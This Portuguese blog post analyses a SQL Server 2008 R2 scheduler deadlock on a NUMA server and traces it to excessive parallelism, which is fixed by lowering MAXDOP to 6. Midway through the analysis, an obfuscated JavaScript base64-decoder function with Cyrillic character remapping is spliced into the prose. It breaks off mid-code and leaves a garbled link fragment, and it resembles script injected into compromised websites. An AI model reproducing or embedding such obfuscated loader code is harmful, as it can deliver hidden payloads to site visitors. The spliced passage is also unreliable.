SQL Dicas

Você já ouviu falar de Scheduler Deadlock?

Neste artigo vamos ver uma análise de um problema raro, que encontrei pela primeira vez apesar de administrar centenas de instâncias de SQL Server.

Cenário

SQL Server 2008 R2 Standard com SP3 em um servidor Dell R620 com 128GB de RAM, 2 CPU Xeon E5-2660 octacore e 3 discos SAS em RAID5 apresentando lentidão. Foi portanto migrado para outro servidor Dell R820 com 256GB de RAM, 4 CPU Xeon E5-4607 hexacore e SQL Server 2008 R2 Enterprise, também com SP3, com 4 discos SSD em RAID10.

Sintoma

Algumas horas após a migração, de forma intermitente, a instância do SQL Server apresenta lentidão até deixar de responder, não sendo possível conectar para nenhuma finalidade. Ainda existe CPU e memória disponivel mas mesmo assim as queries apresentam timeout e a porta 1433 não responde. Desta forma foi feito rollback na migração, não sendo possível reproduzir o problema.

Análise

Só foi possível analisar após o rollback da migração, sendo necessário um levantamento detalhado do servidor para chegar a uma conclusão.

O max degree of parallelism estava configurado em 12, com cost threshold for parallelism em 75. Como este servidor é composto por 4 nós NUMA de 6 cores cada, de acordo com as recomendações da Microsoft neste link o max defgree of parallelism deveria estar configurado em 8 no máximo, já que a documentação se refere a cores lógicos que, considerando o HT, seria 12 mesmo:

Considerando as observações, a configuração poderia ficar entre 4 e 16, dependendo da concorrência.

Até então, eu já tinha visto o paralelismo degradar performance mas nunca tinha visto indisponibilizar uma instância.

Continuando a análise, após uma varredura minuciosa nos logs de aplicação do Windows foi encontrado um log bastante curioso. Não era um warning, error ou critical. Apenas information:

Este log diz que existem tarefas que não receberam threads para serem executadas, especificamente no NUMA node 0, enquanto o processo do SQL Server estava utilizando apenas 7% de CPU que estava 92% desocupada.

Pesquisando por este erro encontrei function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-the-tao-of-the-deadlock-scheduler.aspx" target="_blank">este artigo (em inglês) no MSDN que explica o que é o Scheduler Deadlock e quando ele pode ocorrer:

"Uma thread dedicada exclusivamente ao Scheduler Monitor checa periodicamente se algumas condições estão ocorrendo como por exemplo uma thread que não entrega a CPU para outra voluntariamente ou, como neste caso, se os Schedulers pararam de processar threads por algum tempo."

Quando um Scheduler não processa nenhuma thread desde a última verificação do Scheduler Monitor, algumas questões são levantadas para verificar se houve um Scheduler Deadlock:

→Existem tarefas para serem processadas?
→Algum novo worker thread foi criado desde a última verificação do Scheduler Monitor?
→Alguma tarefa foi designada para algum worker thread desde a última verificação?

Se alguma destas condições for positiva e não houver pressão de memória, o Scheduler é considerado em Deadlock. Se todos os schedulers dentro do mesmo nó NUMA estão em deadlock, o evento 17884 é registrado no log de aplicação e um minidump de memória é despejado, se não houver esgotamento da CPU.

Veja como é importante considerar os nós NUMA antes de configurar o paralelismo pois, neste caso, mesmo com os outros 3 nós processando tranquilamente a instância ficou indisponível. Em 2006, até mesmo a Microsoft considerava este tipo de situação rara, conforme este artigo do Bob Dorr. Hoje com servidores com ainda mais nós NUMA é possível que não seja tão raro.

Ainda de acordo com o artigo no MSDN, as principais causas seriam:

Uma grande cadeia de espera por Lock;
Latches;
Spinlocks;
Excesso de paralelismo.

No nosso caso, qual foi a causa?

Sem poder reproduzir o problema fica mais difícil mas temos o dump gerado. O problema é que o dump traz informações de mais de 1.200 threads que estavam em execução no momento do dump.

Analisei então uma amostragem de 100 threads e, apesar de não conhecer muito bem as funções executadas, pesquisando as que mais se repetem encontrei CXPort e CXTransLocal:

Pelo nome dá pra deduzir que era referente a paralelismo (CX = Class Exchange do CXPACKET) mas quando vamos fazer uma análise de causa raiz temos que ter certeza do que vamos afirmar. Foi aí que pesquisando encontrei este artigo do Customer Advisory Team (SQLCAT) de 2009 que esclareceu bastante.

Agora que analisei a amostra de "apenas" 100 threads colei todo o dump no Excel e mandei pesquisar por estes termos, constatando que estavam presentes em 961 threads das mais de 1.200, confirmando a tese de que o excesso de paralelismo neste workload para este servidor foi o causador do Scheduler Deadlock.

Conclusão

O servidor foi reinstalado, todas as configurações revisadas e uma nova migração foi feita mantendo o paralelismo em 12 com cost threshold for parallelism em 75. Agora com o workload em andamento foi possível analisar melhor. Começamos a chegar bem perto do max worker threads, uma indicação de que passaríamos pelo mesmo problema:

Depois de alterar o paralelismo para 6 a quantidade de workers diminuiu, entregando a performance desejada com distribuição uniforme das threads entre os Schedulers, sem a ocorrência de Scheduler Deadlock.